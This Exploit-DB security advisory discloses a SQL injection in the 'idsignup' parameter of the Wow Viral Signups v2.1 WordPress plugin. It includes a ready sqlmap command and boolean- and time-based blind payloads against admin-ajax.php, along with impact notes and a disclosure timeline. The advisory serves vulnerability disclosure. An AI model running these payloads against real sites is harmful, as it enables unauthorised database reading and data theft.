EDB-ID: 41921 | Author: TAD GROUP | Published: 2017-04-25 | CVE: N/A | Type: Webapps | Platform: PHP | Aliases: N/A | Advisory/Source: N/A | Tags: SQL Injection (SQLi) | Vulnerable App: N/A | # Date: 29/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: http://wow-company.com/
# Software Link: https://wordpress.org/plugins/mwp-viral-signup/
# Version: 2.1
# Contact: [email protected]
# Website: https://tad.bg <https://tad.bg>
# Category: Web Application Exploits
1. Description
An unescaped parameter was found in Wow Viral Signups v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameter 'idsignup' is vulnerable.
2. Proof of concept
sqlmap -u "http://server/wp-admin/admin-ajax.php" --data "action=mwp_signup_send&email=GING%40MAIL.RU&hvost=%3Fpage_id%3D47&idsignup=1" --dbs --threads=10 --random-agent --dbms mysql
Parameter: idsignup (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=mwp_signup_send&[email protected]&hvost=?page_id=47&idsignup=1 AND 5272=5272
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: action=mwp_signup_send&[email protected]&hvost=?page_id=47&idsignup=1 AND (SELECT * FROM (SELECT(SLEEP(5)))hXXu)
3. Attack outcome:
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.
4. Impact
Critical
5. Affected versions
<= 2.1
6. Disclosure timeline
15-Mar-2017 - found the vulnerability
15-Mar-2017 - informed the developer
29-Mar-2017 - release date of this security advisory
Not fixed at the date of submitting this exploit.
